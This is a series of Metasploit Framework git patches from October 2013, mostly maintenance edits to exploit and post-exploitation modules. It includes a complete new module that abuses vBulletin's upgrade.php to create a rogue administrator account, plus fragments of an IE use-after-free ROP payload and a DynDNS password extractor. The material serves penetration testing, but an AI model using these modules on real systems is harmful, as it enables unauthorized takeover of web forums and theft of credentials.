a/modules/exploits/windows/dcerpc/ms05_017_msmq.rb b/modules/exploits/windows/dcerpc/ms05_017_msmq.rb index 4c4789e8b6..56b4e9d30b 100644 --- a/modules/exploits/windows/dcerpc/ms05_017_msmq.rb +++ b/modules/exploits/windows/dcerpc/ms05_017_msmq.rb @@ -44,6 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote 'StackAdjustment' => -3500, }, + 'Platform' => %w{ win }, 'Targets' => [ [ diff --git a/modules/exploits/windows/dcerpc/ms07_065_msmq.rb b/modules/exploits/windows/dcerpc/ms07_065_msmq.rb index 90eccb2e3c..87b124e826 100644 --- a/modules/exploits/windows/dcerpc/ms07_065_msmq.rb +++ b/modules/exploits/windows/dcerpc/ms07_065_msmq.rb @@ -43,6 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote 'StackAdjustment' => -3500, }, + 'Platform' => %w{ win }, 'Targets' => [ [ diff --git a/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb b/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb index 6907fc2633..27aaf47205 100644 --- a/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb +++ b/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb @@ -52,6 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote 'ConnectionType' => "-find" } }, + 'Platform' => %w{ win }, 'Targets' => [ [ diff --git a/modules/exploits/windows/ftp/freeftpd_user.rb b/modules/exploits/windows/ftp/freeftpd_user.rb index a7211edba0..da7da7d1fd 100644 --- a/modules/exploits/windows/ftp/freeftpd_user.rb +++ b/modules/exploits/windows/ftp/freeftpd_user.rb @@ -37,6 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00\x20\x0a\x0d", 'StackAdjustment' => -3500, }, + 'Platform' => %w{ win }, 'Targets' => [ [ diff --git a/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb b/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb index 4f702915fe..db95e6e09f 100644 --- a/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb +++ b/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb @@ -43,6 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40", 'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", }, + 'Platform' => %w{ win }, 'Targets' => [ [ diff --git a/modules/exploits/windows/ftp/servu_mdtm.rb b/modules/exploits/windows/ftp/servu_mdtm.rb index 0faa0a19f8..22ec6df3ae 100644 --- a/modules/exploits/windows/ftp/servu_mdtm.rb +++ b/modules/exploits/windows/ftp/servu_mdtm.rb @@ -46,6 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e", 'StackAdjustment' => -3500, }, + 'Platform' => %w{ win }, 'Targets' => [ [ diff --git a/modules/exploits/windows/ftp/warftpd_165_pass.rb b/modules/exploits/windows/ftp/warftpd_165_pass.rb index e13839c251..a92d1c369e 100644 --- a/modules/exploits/windows/ftp/warftpd_165_pass.rb +++ b/modules/exploits/windows/ftp/warftpd_165_pass.rb @@ -46,6 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote 'ConnectionType' => "-find" } }, + 'Platform' => %w{ win }, 'Targets' => [ # Target 0 diff --git a/modules/exploits/windows/novell/zenworks_desktop_agent.rb b/modules/exploits/windows/novell/zenworks_desktop_agent.rb index 06bce02e13..0c7086cc6e 100644 --- a/modules/exploits/windows/novell/zenworks_desktop_agent.rb +++ b/modules/exploits/windows/novell/zenworks_desktop_agent.rb @@ -36,6 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, + 'Platform' => %w{ win }, 'Targets' => [ [ diff --git a/modules/exploits/windows/unicenter/cam_log_security.rb b/modules/exploits/windows/unicenter/cam_log_security.rb index 21bfa5b42f..a4246601ec 100644 --- a/modules/exploits/windows/unicenter/cam_log_security.rb +++ b/modules/exploits/windows/unicenter/cam_log_security.rb @@ -36,6 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, + 'Platform' => %w{ win }, 'Targets' => [ # W2API.DLL @ 0x01950000 - return to ESI diff --git a/modules/exploits/windows/wins/ms04_045_wins.rb b/modules/exploits/windows/wins/ms04_045_wins.rb index 1e90fc1e2e..cc4388a94c 100644 --- a/modules/exploits/windows/wins/ms04_045_wins.rb +++ b/modules/exploits/windows/wins/ms04_045_wins.rb @@ -45,6 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote 'StackAdjustment' => -3500, }, + 'Platform' => %w{ win }, 'Targets' => [ [ From c2c6422078f3c4c49fc66d15537f1b5999d34231 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Wed, 9 Oct 2013 09:56:07 -0500 Subject: [PATCH 155/210] Correct the name of "DynDNS" (not Dyn-DNS) --- modules/post/windows/gather/credentials/dyndns.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/credentials/dyndns.rb b/modules/post/windows/gather/credentials/dyndns.rb index 95fcdacffa..3ec266b4e3 100644 --- a/modules/post/windows/gather/credentials/dyndns.rb +++ b/modules/post/windows/gather/credentials/dyndns.rb @@ -14,9 +14,9 @@ class Metasploit3 < Msf::Post def initialize(info={}) super(update_info(info, - 'Name' => 'Windows Gather Dyn-Dns Client Password Extractor', + 'Name' => 'Windows Gather DynDNS Client Password Extractor', 'Description' => %q{ - This module extracts the username, password, and hosts for Dyn-Dns version 4.1.8. + This module extracts the username, password, and hosts for DynDNS version 4.1.8. This is done by downloading the config.dyndns file from the victim machine, and then automatically decode the password field. The original copy of the config file is also saved to disk. From 1e78c3ca1ad8f94d9ef7727f07d6e443f56a6bd7 Mon Sep 17 00:00:00 2001 From: joev <joev@metasploit.com> Date: Wed, 9 Oct 2013 11:39:05 -0500 Subject: [PATCH 156/210] Add missing require to nodejs/bind payload. --- modules/payloads/singles/nodejs/shell_bind_tcp.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/singles/nodejs/shell_bind_tcp.rb b/modules/payloads/singles/nodejs/shell_bind_tcp.rb index 842392c357..74f35792e2 100644 --- a/modules/payloads/singles/nodejs/shell_bind_tcp.rb +++ b/modules/payloads/singles/nodejs/shell_bind_tcp.rb @@ -10,7 +10,7 @@ # settle for just getting shells on nodejs. require 'msf/core' -require 'msf/core/handler/reverse_tcp' +require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' module Metasploit3 From f95da649f82d8abdf6b26c99ba777a7bbf6d7233 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Wed, 9 Oct 2013 12:11:23 -0500 Subject: [PATCH 157/210] Deal with missing bins, too. This could be way more DRY. At least there's a YARD-ish comment. This fixes up https://github.com/rapid7/metasploit-framework/pull/2465 to be a more complete solution. [SeeRM #8465] --- lib/msf/core/auxiliary/jtr.rb | 30 ++++++++++++++++++++---------- 1 file changed, 20 insertions(+), 10 deletions(-) diff --git a/lib/msf/core/auxiliary/jtr.rb b/lib/msf/core/auxiliary/jtr.rb index 6a9c598459..d2b4808664 100644 --- a/lib/msf/core/auxiliary/jtr.rb +++ b/lib/msf/core/auxiliary/jtr.rb @@ -37,14 +37,19 @@ module Auxiliary::JohnTheRipper autodetect_platform end + # @return [String] the run path instance variable if the platform is detectable, nil otherwise. def autodetect_platform - cpuinfo_base = ::File.join(Msf::Config.install_root, "data", "cpuinfo") return @run_path if @run_path - + cpuinfo_base = ::File.join(Msf::Config.data_directory, "cpuinfo") if File.directory?(cpuinfo_base) + data = nil + case ::RUBY_PLATFORM when /mingw|cygwin|mswin/ - data = `"#{cpuinfo_base}/cpuinfo.exe"` rescue nil + fname = "#{cpuinfo_base}/cpuinfo.exe" + if File.exists?(fname) and File.executable?(fname) + data = %x{"#{fname}"} + end case data when /sse2/ @run_path ||= "run.win32.sse2/john.exe" @@ -53,20 +58,24 @@ module Auxiliary::JohnTheRipper else @run_path ||= "run.win32.any/john.exe" end - when /x86_64-linux/ - ::FileUtils.chmod(0755, "#{cpuinfo_base}/cpuinfo.ia64.bin") rescue nil - data = `#{cpuinfo_base}/cpuinfo.ia64.bin` rescue nil + fname = "#{cpuinfo_base}/cpuinfo.ia64.bin" + if File.exists? fname + ::FileUtils.chmod(0755, fname) rescue nil + data = %x{"#{fname}"} + end case data when /mmx/ @run_path ||= "run.linux.x64.mmx/john" else @run_path ||= "run.linux.x86.any/john" end - when /i[\d]86-linux/ - ::FileUtils.chmod(0755, "#{cpuinfo_base}/cpuinfo.ia32.bin") rescue nil - data = `#{cpuinfo_base}/cpuinfo.ia32.bin` rescue nil + fname = "#{cpuinfo_base}/cpuinfo.ia32.bin" + if File.exists? fname + ::FileUtils.chmod(0755, fname) rescue nil + data = %x{"#{fname}"} + end case data when /sse2/ @run_path ||= "run.linux.x86.sse2/john" @@ -77,7 +86,8 @@ module Auxiliary::JohnTheRipper end end end - @run_path + + return @run_path end def john_session_id From 356263df5602719d72fa002e5e66cc9e5ec0f2bf Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Wed, 9 Oct 2013 12:17:13 -0500 Subject: [PATCH 158/210] Litter some more rescue nil's in there I hate them but they were there when I got there. A more sane way to deal with this should happen someday. --- lib/msf/core/auxiliary/jtr.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/auxiliary/jtr.rb b/lib/msf/core/auxiliary/jtr.rb index d2b4808664..140fa94ee4 100644 --- a/lib/msf/core/auxiliary/jtr.rb +++ b/lib/msf/core/auxiliary/jtr.rb @@ -48,7 +48,7 @@ module Auxiliary::JohnTheRipper when /mingw|cygwin|mswin/ fname = "#{cpuinfo_base}/cpuinfo.exe" if File.exists?(fname) and File.executable?(fname) - data = %x{"#{fname}"} + data = %x{"#{fname}"} rescue nil end case data when /sse2/ @@ -62,7 +62,7 @@ module Auxiliary::JohnTheRipper fname = "#{cpuinfo_base}/cpuinfo.ia64.bin" if File.exists? fname ::FileUtils.chmod(0755, fname) rescue nil - data = %x{"#{fname}"} + data = %x{"#{fname}"} rescue nil end case data when /mmx/ @@ -74,7 +74,7 @@ module Auxiliary::JohnTheRipper fname = "#{cpuinfo_base}/cpuinfo.ia32.bin" if File.exists? fname ::FileUtils.chmod(0755, fname) rescue nil - data = %x{"#{fname}"} + data = %x{"#{fname}"} rescue nil end case data when /sse2/ From 5c365337424575e3f3fdb93339da6179d28472d5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Wed, 9 Oct 2013 13:12:57 -0500 Subject: [PATCH 159/210] Add module for the vbulletin exploit in the wild --- .../admin/http/vbulletin_upgrade_admin.rb | 87 +++++++++++++++++++ 1 file changed, 87 insertions(+) create mode 100644 modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb diff --git a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb new file mode 100644 index 0000000000..15519a35a8 --- /dev/null +++ b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb @@ -0,0 +1,87 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'vBulletin Administrator Account Creation', + 'Description' => %q{ + This module abuses the "install/upgrade.php" component on vBulletin 4.1+ and 4.5+ to + create a new administrator account, as exploited in the wild on October 2013. The module + has been tested successfully on vBulletin 4.1.5. + }, + 'Author' => + [ + 'Unknown', # Vulnerability discoverer? found in the wild + 'juan vazquez' #metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://www.net-security.org/secworld.php?id=15743' ], + [ 'URL', 'http://packetstormsecurity.org/files/59347/boa-bypass.txt.html'] + ], + 'DisclosureDate' => 'Oct 09 2013')) + + register_options( + [ + OptString.new('TARGETURI', [ true, "The vbulletin URI", '/']), + OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']), + OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']), + OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc']) + ], self.class) + end + + def peer + return "#{rhost}:#{rport}" + end + + def run + + if datastore["USERNAME"] == datastore["PASSWORD"] + print_error("#{peer} - Please select a password different than the username") + return + end + + print_status("#{peer} - Trying a new admin account...") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, "install", "upgrade.php"), + 'method' =>'POST', + 'vars_post' => { + "version" => "install", + "response" => "true", + "checktable" => "false", + "firstrun" => "false", + "step" => "7", + "startat" => "0", + "only" => "false", + "options[skiptemplatemerge]" => "0", + "reponse" => "yes", + "htmlsubmit" => "1", + "htmldata[username]" => datastore["USERNAME"], + "htmldata[password]" => datastore["PASSWORD"], + "htmldata[confirmpassword]" => datastore["PASSWORD"], + "htmldata[email]" => datastore["EMAIL"] + }, + 'headers' => { + "X-Requested-With" => "XMLHttpRequest" + } + }) + + if res and res.code == 200 and res.body =~ /Administrator account created/ + print_good("#{peer} - Admin account successfully created") + else + print_error("#{peer} - Admin account creation failed") + end + end +end From 1e3b84d39b9389b8964f79f1faa32ca2f22a1f99 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Wed, 9 Oct 2013 13:40:48 -0500 Subject: [PATCH 160/210] Update ie_cgenericelement_uaf --- modules/exploits/windows/browser/ie_cgenericelement_uaf.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb index 1f89fe8ae0..8b416d9793 100644 --- a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb +++ b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb @@ -119,21 +119,21 @@ class Metasploit3 < Msf::Exploit::Remote # Extra junk in the end to make sure post code execution is stable. p = payload.encoded - p << rand_text_alpha(12000) case t['Rop'] when :msvcrt align = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 rop_payload = '' if t.name == 'IE 8 on Windows XP SP3' - rop_payload = generate_rop_payload('msvcrt', p, {'target'=>'xp'}) + rop_payload = generate_rop_payload('msvcrt', align+p, {'target'=>'xp'}) elsif t.name == 'IE 8 on Windows Server 2003' - rop_payload = generate_rop_payload('msvcrt', p, {'target'=>'2003'}) + rop_payload = generate_rop_payload('msvcrt', align+p, {'target'=>'2003'}) end else code = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 code << p + code << rand_text_alpha(12000) rop_payload = generate_rop_payload('java', code) end From 4f3bbaffd13e2031db838ebcfb793da105e5ab36 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Wed, 9 Oct 2013 13:54:28 -0500 Subject: [PATCH 161/210] Clean module and add reporting --- .../admin/http/vbulletin_upgrade_admin.rb | 36 ++++++++++++++----- 1 file changed, 27 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb index 15519a35a8..bf1304c6f2 100644 --- a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb +++ b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb @@ -10,14 +10,15 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'vBulletin Administrator Account Creation', 'Description' => %q{ This module abuses the "install/upgrade.php" component on vBulletin 4.1+ and 4.5+ to - create a new administrator account, as exploited in the wild on October 2013. The module - has been tested successfully on vBulletin 4.1.5. + create a new administrator account, as exploited in the wild on October 2013. This module + has been tested successfully on vBulletin 4.1.5 and 4.1.0. }, 'Author' => [ @@ -28,7 +29,7 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ [ 'URL', 'http://www.net-security.org/secworld.php?id=15743' ], - [ 'URL', 'http://packetstormsecurity.org/files/59347/boa-bypass.txt.html'] + [ 'URL', 'http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/3991423-potential-vbulletin-exploit-vbulletin-4-1-vbulletin-5'] ], 'DisclosureDate' => 'Oct 09 2013')) @@ -41,18 +42,26 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end + def user + datastore["USERNAME"] + end + + def pass + datastore["PASSWORD"] + end + def peer return "#{rhost}:#{rport}" end def run - if datastore["USERNAME"] == datastore["PASSWORD"] + if user == pass print_error("#{peer} - Please select a password different than the username") return end - print_status("#{peer} - Trying a new admin account...") + print_status("#{peer} - Trying a new admin vBulletin account...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "install", "upgrade.php"), @@ -68,9 +77,9 @@ class Metasploit3 < Msf::Auxiliary "options[skiptemplatemerge]" => "0", "reponse" => "yes", "htmlsubmit" => "1", - "htmldata[username]" => datastore["USERNAME"], - "htmldata[password]" => datastore["PASSWORD"], - "htmldata[confirmpassword]" => datastore["PASSWORD"], + "htmldata[username]" => user, + "htmldata[password]" => pass, + "htmldata[confirmpassword]" => pass, "htmldata[email]" => datastore["EMAIL"] }, 'headers' => { @@ -79,7 +88,16 @@ class Metasploit3 < Msf::Auxiliary }) if res and res.code == 200 and res.body =~ /Administrator account created/ - print_good("#{peer} - Admin account successfully created") + print_good("#{peer} - Admin account with credentials #{user}/#{pass} successfully created") + report_auth_info( + :host => rhost, + :port => rport, + :sname => 'http', + :user => user, + :pass => pass, + :active => true, + :proof => res.body + ) else print_error("#{peer} - Admin account creation failed") end From 52574b09cb1c0f4b347a8a02516d993097c33b27 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Wed, 9 Oct 2013 14:13:45 -0500 Subject: [PATCH 162/210] Add OSVDB reference --- modules/exploits/unix/webapp/flashchat_upload_exec.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/unix/webapp/flashchat_upload_exec.rb b/modules/exploits/unix/webapp/flashchat_upload_exec.rb index 333cd7fa08..2530c180c9 100644 --- a/modules/exploits/unix/webapp/flashchat_upload_exec.rb +++ b/modules/exploits/unix/webapp/flashchat_upload_exec.rb @@ -31,6 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ + ['OSVDB', '98233'], ['EDB', '28709'] ], 'Payload' => From e3014a1e917e58d58e03c20b3fd3187179fa9034 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Wed, 9 Oct 2013 14:56:42 -0500 Subject: [PATCH 163/210] Fix ZDI Reference --- modules/exploits/windows/misc/hp_loadrunner_magentproc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb b/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb index a028d0f990..e51c94a140 100644 --- a/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb +++ b/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2013-4800'], ['OSVDB', '95644'], - ['http://www.zerodayinitiative.com/advisories/ZDI-13-169/'] + ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-169/'] ], 'Privileged' => false, 'DefaultOptions' => From 6c382c8eb79a7cc55fcde33d50486c19ade68fde Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Wed, 9 Oct 2013 16:52:53 -0400 Subject: [PATCH 164/210] Return nil on error, and move the module to post/multi. --- .../extensions/stdapi/net/resolve.rb | 4 +- modules/post/multi/gather/resolve_hosts.rb | 67 +++++++++++++++++++ modules/post/windows/gather/resolve_hosts.rb | 10 ++- 3 files changed, 78 insertions(+), 3 deletions(-) create mode 100644 modules/post/multi/gather/resolve_hosts.rb diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/resolve.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/resolve.rb index 832c607b0c..0a212fa22f 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/resolve.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/resolve.rb @@ -48,7 +48,7 @@ class Resolve def resolve_hosts(hostnames, family=AF_INET) request = Packet.create_request('stdapi_net_resolve_hosts') request.add_tlv(TLV_TYPE_ADDR_TYPE, family) - + hostnames.each do |hostname| request.add_tlv(TLV_TYPE_HOST_NAME, hostname) end @@ -84,7 +84,7 @@ class Resolve end if raw.empty? - ip = "" + ip = nil else if type == AF_INET ip = Rex::Socket.addr_ntoa(raw[0..3]) diff --git a/modules/post/multi/gather/resolve_hosts.rb b/modules/post/multi/gather/resolve_hosts.rb new file mode 100644 index 0000000000..076acee24f --- /dev/null +++ b/modules/post/multi/gather/resolve_hosts.rb @@ -0,0 +1,67 @@ +# +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Post + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Resolve Hosts', + 'Description' => %q{ + Resolves hostnames to either IPv4 or IPv6 addresses from the perspective of the remote host. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ], + 'Platform' => %w{ win python }, + 'SessionTypes' => [ 'meterpreter' ] + )) + + register_options([ + OptString.new('HOSTNAMES', [true, 'Comma seperated list of hostnames to resolve.']), + OptEnum.new('AI_FAMILY', [true, 'Address Family', 'IPv4', ['IPv4', 'IPv6'] ]) + ], self.class) + end + + def run + hosts = datastore['HOSTNAMES'].split(',') + + if datastore['AI_FAMILY'] == 'IPv4' + family = AF_INET + else + family = AF_INET6 + end + + # Clear whitespace + hosts.collect{|x| x.strip!} + + print_status("Attempting to resolve '#{hosts.join(', ')}' on #{sysinfo['Computer']}") if not sysinfo.nil? + + response = client.net.resolve.resolve_hosts(hosts, family) + + table = Rex::Ui::Text::Table.new( + 'Indent' => 0, + 'SortIndex' => -1, + 'Columns' => + [ + 'Hostname', + 'IP', + ] + ) + + response.each do |result| + if result[:ip].nil? + table << [result[:hostname], '[Failed To Resolve]'] + else + table << [result[:hostname], result[:ip]] + end + end + + table.print + end +end diff --git a/modules/post/windows/gather/resolve_hosts.rb b/modules/post/windows/gather/resolve_hosts.rb index 55c2cda5e4..40a557fabd 100644 --- a/modules/post/windows/gather/resolve_hosts.rb +++ b/modules/post/windows/gather/resolve_hosts.rb @@ -10,6 +10,10 @@ require 'rex' class Metasploit3 < Msf::Post + require 'msf/core/module/deprecated' + include Msf::Module::Deprecated + deprecated Date.new(2013, 12, 9), 'post/multi/gather/resolve_hosts' + def initialize(info={}) super( update_info( info, 'Name' => 'Windows Resolve Hosts', @@ -55,7 +59,11 @@ class Metasploit3 < Msf::Post ) response.each do |result| - table << [result[:hostname], result[:ip]] + if result[:ip].nil? + table << [result[:hostname], '[Failed To Resolve]'] + else + table << [result[:hostname], result[:ip]] + end end table.print From be139beb209230c4c58a96b69f4a56db54f52a2a Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Wed, 9 Oct 2013 17:11:47 -0400 Subject: [PATCH 165/210] Remove windows from title of multi module. --- modules/post/multi/gather/resolve_hosts.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/multi/gather/resolve_hosts.rb b/modules/post/multi/gather/resolve_hosts.rb index 076acee24f..0bb3572335 100644 --- a/modules/post/multi/gather/resolve_hosts.rb +++ b/modules/post/multi/gather/resolve_hosts.rb @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Post def initialize(info={}) super( update_info( info, - 'Name' => 'Windows Resolve Hosts', + 'Name' => 'Resolve Hosts', 'Description' => %q{ Resolves hostnames to either IPv4 or IPv6 addresses from the perspective of the remote host. }, From c8dc251042995c22ee2a3206482c214cd66fde37 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Wed, 9 Oct 2013 17:29:17 -0500 Subject: [PATCH 166/210] Alphabetize authors Because alphabetizing is cool and makes it easy for humans to find things in long array lists quickly. Also, I need to keep my lines changed count up. --- lib/msf/core/module/author.rb | 62 +++++++++++++++++------------------ 1 file changed, 31 insertions(+), 31 deletions(-) diff --git a/lib/msf/core/module/author.rb b/lib/msf/core/module/author.rb index 25a90f8e52..cbdec3e771 100644 --- a/lib/msf/core/module/author.rb +++ b/lib/msf/core/module/author.rb @@ -12,40 +12,40 @@ class Msf::Module::Author # A hash of known author names Known = { - 'hdm' => 'hdm' + 0x40.chr + 'metasploit.com', - 'spoonm' => 'spoonm' + 0x40.chr + 'no$email.com', - 'skape' => 'mmiller' + 0x40.chr + 'hick.org', - 'vlad902' => 'vlad902' + 0x40.chr + 'gmail.com', - 'optyx' => 'optyx' + 0x40.chr + 'no$email.com', - 'anonymous' => 'anonymous-contributor' + 0x40.chr + 'metasploit.com', - 'stinko' => 'vinnie' + 0x40.chr + 'metasploit.com', - 'MC' => 'mc' + 0x40.chr + 'metasploit.com', - 'cazz' => 'bmc' + 0x40.chr + 'shmoo.com', - 'pusscat' => 'pusscat' + 0x40.chr + 'metasploit.com', - 'skylined' => 'skylined' + 0x40.chr + 'edup.tudelft.nl', - 'patrick' => 'patrick' + 0x40.chr + 'osisecurity.com.au', - 'Ramon de C Valle' => 'rcvalle' + 0x40.chr + 'metasploit.com', - 'I)ruid' => 'druid' + 0x40.chr + 'caughq.org', - 'egypt' => 'egypt' + 0x40.chr + 'metasploit.com', - 'kris katterjohn' => 'katterjohn' + 0x40.chr + 'gmail.com', - 'CG' => 'cg' + 0x40.chr + 'carnal0wnage.com', - 'et' => 'et' + 0x40.chr + 'metasploit.com', - 'sf' => 'stephen_fewer' + 0x40.chr + 'harmonysecurity.com', - 'kf' => 'kf_list' + 0x40.chr + 'digitalmunition.com', - 'ddz' => 'ddz' + 0x40.chr + 'theta44.org', - 'jduck' => 'jduck' + 0x40.chr + 'metasploit.com', - 'natron' => 'natron' + 0x40.chr + 'metasploit.com', - 'todb' => 'todb' + 0x40.chr + 'metasploit.com', - 'msmith' => 'msmith' + 0x40.chr + 'metasploit.com', - 'jcran' => 'jcran' + 0x40.chr + 'metasploit.com', - 'sinn3r' => 'sinn3r' + 0x40.chr + 'metasploit.com', - 'bannedit' => 'bannedit' + 0x40.chr + 'metasploit.com', 'amaloteaux' => 'alex_maloteaux' + 0x40.chr + 'metasploit.com', + 'anonymous' => 'anonymous-contributor' + 0x40.chr + 'metasploit.com', + 'bannedit' => 'bannedit' + 0x40.chr + 'metasploit.com', 'Carlos Perez' => 'carlos_perez' + 0x40.chr + 'darkoperator.com', - 'juan vazquez' => 'juan.vazquez' + 0x40.chr + 'metasploit.com', - 'theLightCosine' => 'theLightCosine' + 0x40.chr + 'metasploit.com', - 'mubix' => 'mubix' + 0x40.chr + 'hak5.org', + 'cazz' => 'bmc' + 0x40.chr + 'shmoo.com', + 'CG' => 'cg' + 0x40.chr + 'carnal0wnage.com', + 'ddz' => 'ddz' + 0x40.chr + 'theta44.org', + 'egypt' => 'egypt' + 0x40.chr + 'metasploit.com', + 'et' => 'et' + 0x40.chr + 'metasploit.com', + 'hdm' => 'hdm' + 0x40.chr + 'metasploit.com', + 'I)ruid' => 'druid' + 0x40.chr + 'caughq.org', + 'jcran' => 'jcran' + 0x40.chr + 'metasploit.com', + 'jduck' => 'jduck' + 0x40.chr + 'metasploit.com', 'joev' => 'joev' + 0x40.chr + 'metasploit.com' + 'juan vazquez' => 'juan.vazquez' + 0x40.chr + 'metasploit.com', + 'kf' => 'kf_list' + 0x40.chr + 'digitalmunition.com', + 'kris katterjohn' => 'katterjohn' + 0x40.chr + 'gmail.com', + 'MC' => 'mc' + 0x40.chr + 'metasploit.com', + 'msmith' => 'msmith' + 0x40.chr + 'metasploit.com', + 'mubix' => 'mubix' + 0x40.chr + 'hak5.org', + 'natron' => 'natron' + 0x40.chr + 'metasploit.com', + 'optyx' => 'optyx' + 0x40.chr + 'no$email.com', + 'patrick' => 'patrick' + 0x40.chr + 'osisecurity.com.au', + 'pusscat' => 'pusscat' + 0x40.chr + 'metasploit.com', + 'Ramon de C Valle' => 'rcvalle' + 0x40.chr + 'metasploit.com', + 'sf' => 'stephen_fewer' + 0x40.chr + 'harmonysecurity.com', + 'sinn3r' => 'sinn3r' + 0x40.chr + 'metasploit.com', + 'skape' => 'mmiller' + 0x40.chr + 'hick.org', + 'skylined' => 'skylined' + 0x40.chr + 'edup.tudelft.nl', + 'spoonm' => 'spoonm' + 0x40.chr + 'no$email.com', + 'stinko' => 'vinnie' + 0x40.chr + 'metasploit.com', + 'theLightCosine' => 'theLightCosine' + 0x40.chr + 'metasploit.com', + 'todb' => 'todb' + 0x40.chr + 'metasploit.com', + 'vlad902' => 'vlad902' + 0x40.chr + 'gmail.com', } # From 4f1e71e222591a4b55494d1b233284ecc1c515e0 Mon Sep 17 00:00:00 